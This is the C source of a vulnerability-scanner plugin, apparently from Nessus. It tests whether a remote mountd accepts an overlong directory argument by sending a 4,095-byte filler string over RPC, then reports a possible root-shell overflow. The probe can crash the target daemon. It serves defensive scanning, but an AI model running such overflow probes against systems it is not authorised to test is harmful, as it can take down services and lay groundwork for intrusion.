/*
 * mountd_overflow
 *
 * Exploits a buffer overflow present
 * in some versions of mountd
 *
 * This plugin was ported by Renaud Deraison and is distributed under
 * the GPL
 */
 
#include <includes.h>

#define NAME "mountd overflow"
#define DESC "\
Some versions of mountd can be overflowed remotely, giving\n\
root access to anyone. This plugin will not determine if the\n\
remote host is vulnerable, but just warns the user if the remote\n\
mountd accepts a too long argument\n\
Warning: this plugin may crash your mount daemon\n\n\
Risk factor: high"

#define COPYRIGHT "based on LucySoft [ luci@transart.ro ] exploit"
#define SUMM "determines if the remote mountd may be overflowed"

#ifdef HAVE_RPC_RPC_H
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#endif
#include "mount.h" 
#define NFS_PROG       ((unsigned long)(100003))
#define NFS_VERS ((unsigned long)(2))
/*
 * Comes from nfs_mount()
 */
int overflow_mountd(struct arglist * args, char * dirname)
{
        CLIENT  *mclient;
        int     mountprog, mountvers;
        int     nfsprog, nfsvers;
        int     mountport = 0;
        int     clnt_stat;
        int     msock, fsock;

        struct in_addr * addr = plug_get_host_ip(args);
        struct  sockaddr_in server_addr;
        struct  fhstatus status;
        struct  timeval total_timeout, retry_timeout;


       
       

        server_addr.sin_family = AF_INET;
        server_addr.sin_addr= *addr;

        mountprog = MOUNTPROG;
        mountvers = MOUNTVERS;

        nfsprog = NFS_PROG;
        nfsvers = NFS_VERS;

        total_timeout.tv_usec = 0;
        total_timeout.tv_sec = 20;

        retry_timeout.tv_usec = 0;
        retry_timeout.tv_sec = 3;

        server_addr.sin_port = htons(mountport);
        msock = RPC_ANYSOCK;

        
         
        mclient = clntudp_create(&server_addr,
            mountprog, mountvers,
            retry_timeout, &msock);
	
        if (mclient)
        {
            mclient->cl_auth = authunix_create_default();
           
            clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
                (xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
                (xdrproc_t) xdr_fhstatus, (caddr_t) &status,
                total_timeout);
             
            return(msock);
        }
      
        if(mclient)
        {
         auth_destroy(mclient->cl_auth);
         clnt_destroy(mclient);
        }
        close(msock);
        return (-1);
}

PlugExport int plugin_init(struct arglist *desc); 
PlugExport int plugin_init(struct arglist *desc)
{
        plug_set_name(desc, NAME);
        plug_set_description(desc, DESC);
        plug_set_summary(desc, SUMM);
        plug_set_copyright(desc, COPYRIGHT);
        plug_set_category(desc, ACT_ATTACK);
        plug_set_family(desc, "Gain root remotely");
        plug_set_timeout(desc, 10);
        return(0);
}
PlugExport plugin_run(struct arglist * args)
{
 char * buffer;
 
 
  if(plug_get_key(args, "rpc/portmapper")&&
     (strlen(plug_get_key(args, "rpc/portmapper"))<3))return(0);
 buffer = emalloc(4096);
 memset(buffer, 'X', 4095);
 if(overflow_mountd(args, buffer)>0)
 {
  post_hole_udp(args, -1, 
"The remote mountd server *may*  be vulnerable\n\
to a buffer overflow which may give away a root shell\n\
to anyone (we did not check for it though)\n\
Solution : upgrade your mountd and filter the incoming\n\
traffic going to your portmapper (port 111)\n\
(versions up to nfs-server-2.2beta29-5 are vulnerable)");
 }
 efree(&buffer);
 return(0);
}
